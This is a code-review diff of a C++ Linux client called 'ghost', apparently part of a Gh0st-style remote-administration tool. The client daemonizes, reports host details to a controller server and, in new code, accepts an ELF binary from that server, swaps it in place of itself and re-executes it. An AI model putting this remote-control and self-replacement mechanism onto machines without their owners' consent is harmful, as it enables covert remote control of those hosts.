// 镜像,于是升级后重新计时,与 Windows 的 GetProcessTimes(创建时间) 语义一致。
// 刻意不用 /proc/self/stat 的 starttime + /proc/stat 的 btime:btime 是开机时按当时
// 墙钟算的,之后 NTP 校时/休眠都不会修正它,算出来的启动时刻可能偏出几小时
// (WSL2 实测偏 1.8h)。这里是本进程自己读到的墙钟,不受此影响。
static const std::time_t g_processStartTime = std::time(nullptr);
// 进程启动时间("YYYY-MM-DD HH:MM:SS",北京时间):与 Windows 客户端的
// getProcessTime() 一致,是进程创建时刻而非本次登录时刻。
std::string getProcessStartTime()
{
// 服务端按北京时间解释这个字符串(见服务端 GetElapsedTime),沿用既有约定
return ToPekingTimeAsString(&g_processStartTime);
}
// 获取 CPU 核心数
int getCPUCores()
{
@@ -806,11 +888,241 @@ static void setupSignals()
signal(SIGPIPE, SIG_IGN); // 写入已关闭的 socket 时忽略
}
// ============== 客户端自升级(COMMAND_UPDATE) ==============
// 服务端 -> Linux 客户端载荷布局(Windows 的 COMMAND_UPDATE 没有摘要,LNX 有):
// [cmd:1][size:8 LE][ELF payload:size][md5:32 ASCII 小写 hex]
// 摘要只用于发现传输/落盘损坏:主通道本身已有掩码 + 可选 TLS。
//
// 关键约束:
// - 正在运行的 ELF 不能 O_TRUNC / 原地覆盖(ETXTBSY),必须先写同目录临时文件
// (同一文件系统,rename 才是原子的);
// - Linux 允许 rename() 覆盖正在执行的 inode,老进程继续跑完自己那份,
// 新进程用新 inode;
// - fork 子进程 -> setsid -> 关掉继承的 fd -> 等老进程退出 -> execv,
// 否则服务端会看到同一 clientID 两条连接并存,且新进程写 PID 文件前可能
// 被 isAlreadyRunning() 误判。
// 升级失败一律不退出进程:报错(ClientMsg 报到服务端消息栏 + 写客户端日志)后
// 继续用当前版本。
static const size_t kUpdateMd5HexLen = 32;
// MD5 小写 hex;与 Windows 侧 common/md5.h CalcMD5FromBytes 输出一致
static std::string md5HexOf(const unsigned char* data, size_t len)
{
unsigned char digest[EVP_MAX_MD_SIZE];
unsigned int digestLen = 0;
std::string hex;
EVP_MD_CTX* ctx = EVP_MD_CTX_new();
if (!ctx) return hex;
if (EVP_DigestInit_ex(ctx, EVP_md5(), nullptr) == 1 &&
EVP_DigestUpdate(ctx, data, len) == 1 &&
EVP_DigestFinal_ex(ctx, digest, &digestLen) == 1) {
static const char kHex[] = "0123456789abcdef";
hex.reserve(digestLen * 2);
for (unsigned int i = 0; i < digestLen; ++i) {
hex.push_back(kHex[digest[i] >> 4]);
hex.push_back(kHex[digest[i] & 0x0F]);
}
}
EVP_MD_CTX_free(ctx);
return hex;
}
// 自身 ELF 头的 e_machine(偏移 18,ELF32/ELF64 相同),用于拒绝架构不符的包
static int selfElfMachine()
{
std::ifstream f("/proc/self/exe", std::ios::binary);
unsigned char hdr[20] = {};
if (!f.read((char*)hdr, sizeof(hdr))) return -1;
if (hdr[0] != 0x7f || hdr[1] != 'E' || hdr[2] != 'L' || hdr[3] != 'F') return -1;
return hdr[18] | (hdr[19] << 8);
}
// 升级失败回报:客户端没有 UI,走 ClientMsg(服务端消息栏 + get_audit_log)并写日志
static void reportUpdateFailure(const std::string& reason)
{
Mprintf("** UPDATE failed: %s ***\n", reason.c_str());
if (!g_pMainClient || !g_pMainClient->IsConnected()) return;
ClientMsg msg("Linux client update failed", reason.c_str());
g_pMainClient->Send2Server((char*)&msg, sizeof(msg));
}
static bool writeAll(int fd, const unsigned char* data, size_t len)
{
while (len > 0) {
ssize_t n = write(fd, data, len);
if (n <= 0) {
if (n < 0 && errno == EINTR) continue;
return false;
}
data += n;
len -= (size_t)n;
}
return true;
}
static void ApplySelfUpdate(const PBYTE szBuffer, ULONG ulLength)
{
const size_t headerLen = 1 + sizeof(uint64_t);
if (ulLength < headerLen + kUpdateMd5HexLen) {
reportUpdateFailure("payload too short");
return;
}
uint64_t size = 0;
memcpy(&size, szBuffer + 1, sizeof(size));
if (size == 0 || size > (uint64_t)(ulLength - headerLen - kUpdateMd5HexLen)) {
reportUpdateFailure("payload size invalid");
return;
}
const unsigned char* payload = szBuffer + headerLen;
const char* trailer = (const char*)payload + size;
if (size < 20 || payload[0] != 0x7f || payload[1] != 'E' ||
payload[2] != 'L' || payload[3] != 'F') {
reportUpdateFailure("payload is not an ELF binary");
return;
}
int machine = payload[18] | (payload[19] << 8);
int selfMachine = selfElfMachine();
if (selfMachine > 0 && machine != selfMachine) {
char buf[96];
snprintf(buf, sizeof(buf), "arch mismatch: payload e_machine=%d, running=%d",
machine, selfMachine);
reportUpdateFailure(buf);
return;
}
std::string expect(trailer, kUpdateMd5HexLen);
for (auto& c : expect) c = (char)tolower((unsigned char)c);
std::string actual = md5HexOf(payload, (size_t)size);
if (actual.empty() || actual != expect) {
reportUpdateFailure("md5 mismatch (corrupted payload)");
return;
}
std::string target = getExePath();
size_t slash = target.find_last_of('/');
if (target.empty() || slash == std::string::npos) {
reportUpdateFailure("cannot resolve own executable path");
return;
}
std::string dir = target.substr(0, slash + 1);
std::string base = target.substr(slash + 1);
std::string tmp = dir + "." + base + ".new." + std::to_string((long)getpid());
std::string backup = target + ".old";
unlink(tmp.c_str()); // 上一轮残留(同一 pid 复用)
int fd = open(tmp.c_str(), O_WRONLY | O_CREAT | O_EXCL, 0755);
if (fd < 0) {
reportUpdateFailure("cannot create " + tmp + ": " + strerror(errno));
return;
}
bool ok = writeAll(fd, payload, (size_t)size);
if (ok) ok = (fchmod(fd, 0755) == 0);
if (ok) ok = (fsync(fd) == 0);
if (close(fd) != 0) ok = false;
if (!ok) {
int err = errno;
unlink(tmp.c_str());
reportUpdateFailure("cannot write " + tmp + ": " + strerror(err));
return;
}
// 备份旧版本便于回滚(下次升级时覆盖);备份失败不影响升级
unlink(backup.c_str());
if (link(target.c_str(), backup.c_str()) != 0) {
Mprintf("** UPDATE: no backup kept (%s): %s ***\n", backup.c_str(), strerror(errno));
}
if (rename(tmp.c_str(), target.c_str()) != 0) {
int err = errno;
unlink(tmp.c_str());
reportUpdateFailure("cannot replace " + target + ": " + strerror(err));
return;
}
// 先把参数数组准备好(fork 之后只做 async-signal-safe 的事)
std::string arg0 = target;
std::vector<char*> args;
args.reserve((size_t)g_argc + 1);
args.push_back(&arg0[0]);
for (int i = 1; i < g_argc; ++i) args.push_back(g_argv[i]);
args.push_back(nullptr);
long maxFd = sysconf(_SC_OPEN_MAX);
if (maxFd < 0 || maxFd > 65536) maxFd = 65536;
pid_t parent = getpid();
// 先摘掉 PID 文件:新进程主循环前的 isAlreadyRunning() 不能看到老 pid
removePidFile();
pid_t pid = fork();
if (pid < 0) {
int err = errno;
writePidFile(); // 升级没完成,恢复现状
reportUpdateFailure(std::string("fork failed: ") + strerror(err));
return;
}
if (pid == 0) {
setsid();
int devnull = open("/dev/null", O_RDWR);
if (devnull >= 0) {
dup2(devnull, STDIN_FILENO);
dup2(devnull, STDOUT_FILENO);
dup2(devnull, STDERR_FILENO);
if (devnull > STDERR_FILENO) close(devnull);
}
// 关掉继承的 socket / 日志等 fd,避免老连接挂着不放
for (long f = STDERR_FILENO + 1; f < maxFd; ++f) close((int)f);
// 等老进程退出再 exec(最多 5s)。僵尸态 kill(pid,0) 仍返回存活,故设上限。
for (int i = 0; i < 50 && kill(parent, 0) == 0; ++i) usleep(100 * 1000);
execv(target.c_str(), args.data());
_exit(127); // exec 失败:新版本已落盘,下次启动会用它
}
Mprintf("** UPDATE applied: %s (%llu bytes), restarting ***\n",
target.c_str(), (unsigned long long)size);
g_bExit = S_CLIENT_UPDATE;
}
// 登录信息 szReserved 里的 [19] RES_TLS 是「当前」传输状态的快照,服务端在线列表的
// TLS 列就取这个值。热切换后重连会重新登录,必须在这里刷新,否则列里会一直显示旧值。
// 只在主线程调用(与 SendLoginInfo 同一线程),避免和接收线程抢同一个结构体。
static void RefreshLoginTls(LOGIN_INFOR& info)
{
std::vector<std::string> fields;
std::string s(info.szReserved);
size_t pos = 0;
for (;;) {
size_t bar = s.find('|', pos);
if (bar == std::string::npos) {
fields.push_back(s.substr(pos));
break;
}
fields.push_back(s.substr(pos, bar - pos));
pos = bar + 1;
}
while (fields.size() <= (size_t)RES_TLS)
fields.push_back("");
fields[RES_TLS] = TlsEnabled() ? "1" : "0";
std::string joined;
for (size_t i = 0; i < fields.size(); ++i) {
if (i)
joined += '|';
joined += fields[i];
}
strncpy(info.szReserved, joined.c_str(), sizeof(info.szReserved) - 1);
info.szReserved[sizeof(info.szReserved) - 1] = '\0';
}
// 用法: ./ghost [-d] [IP] [端口]
// -d 后台守护进程模式
// 示例: ./ghost -d 192.168.1.100 6543
int main(int argc, char* argv[])
{
g_argc = argc;
g_argv = argv;
// 解析 -d 参数
bool daemon_mode = false;
int argStart = 1;
@@ -873,8 +1185,9 @@ int main(int argc, char* argv[])
strncpy(logInfo.OsVerInfoEx, distro.c_str(), sizeof(logInfo.OsVerInfoEx) - 1);
logInfo.OsVerInfoEx[sizeof(logInfo.OsVerInfoEx) - 1] = '\0';
// 启动时间
strncpy(logInfo.szStartTime, ToPekingTimeAsString(nullptr).c_str(), sizeof(logInfo.szStartTime) - 1);
// 启动时间:进程创建时刻(北京时间),非本次登录时刻
std::string procStart = getProcessStartTime();
strncpy(logInfo.szStartTime, procStart.c_str(), sizeof(logInfo.szStartTime) - 1);
logInfo.szStartTime[sizeof(logInfo.szStartTime) - 1] = '\0';
// CPU 主频
@@ -961,6 +1274,7 @@ int main(int argc, char* argv[])
logInfo.AddReserved(std::to_string(g_myClientID).c_str()); // [16] RES_CLIENT_ID
logInfo.AddReserved((int)getpid()); // [17] RES_PID
logInfo.AddReserved(getFileSize(exePath).c_str()); // [18] RES_FILESIZE
logInfo.AddReserved(TlsEnabled() ? 1 : 0); // [19] RES_TLS(有信任锚即 1)
// 服务端签名输入:与服务端 AddList 处签名格式一致(startTime + "|" + clientID)
ClientAuth::g_loginMsg = std::string(logInfo.szStartTime) + "|" + std::to_string(g_myClientID);
@@ -970,6 +1284,7 @@ int main(int argc, char* argv[])
std::unique_ptr<IOCPClient> ClientObject(new IOCPClient(g_bExit, false));
ClientObject->setManagerCallBack(NULL, DataProcess, NULL);
g_pMainClient = ClientObject.get(); // 自升级失败回报用
while (!g_bExit) {
clock_t c = clock();
if (!ClientObject->ConnectServer(g_SETTINGS.ServerIP(), g_SETTINGS.ServerPort())) {
@@ -979,6 +1294,8 @@ int main(int argc, char* argv[])
// 进入新连接,重置服务端身份校验状态
ClientAuth::OnNewConnection();
// 传输方式可能已被热切换(TLS 启/停),登录上报的 RES_TLS 必须反映本次连接。
RefreshLoginTls(logInfo);
ClientObject->SendLoginInfo(logInfo.Speed(clock() - c));
// 新连接:把 ACK 看门狗喂到当前时间,避免循环刚进来就被误判为超时
@@ -997,6 +1314,7 @@ int main(int argc, char* argv[])
strncpy(logInfo.szPCName, hostname, sizeof(logInfo.szPCName) - 1);
}
logInfo.szPCName[sizeof(logInfo.szPCName) - 1] = '\0';
RefreshLoginTls(logInfo);
ClientObject->SendLoginInfo(logInfo);
Mprintf(">> Resent login info after group change\n");
}
@@ -1004,10 +1322,18 @@ int main(int argc, char* argv[])
// 等待心跳间隔(每秒检查一次退出条件,保证及时响应)
int interval = g_heartbeatInterval > 0 ? g_heartbeatInterval : 30;
for (int i = 0; i < interval; ++i) {
if (g_needReconnect.load(std::memory_order_relaxed))
break;
if (!ClientObject->IsRunning() || !ClientObject->IsConnected() || g_bExit != S_CLIENT_NORMAL)
break;
Sleep(1000);
}
// 信任锚热切换(COMMAND_TLS_ENABLE/DISABLE):断开后由外层循环用新传输方式重连。
if (g_needReconnect.exchange(false)) {
Mprintf(">>> Reconnecting to apply the TLS transport change\n");
ClientObject->Disconnect();
break;
}
if (!ClientObject->IsRunning() || !ClientObject->IsConnected() || g_bExit != S_CLIENT_NORMAL)
break;
Loaded 100 of 245 files, more files were not shown because too many files have changed in this diff. Show more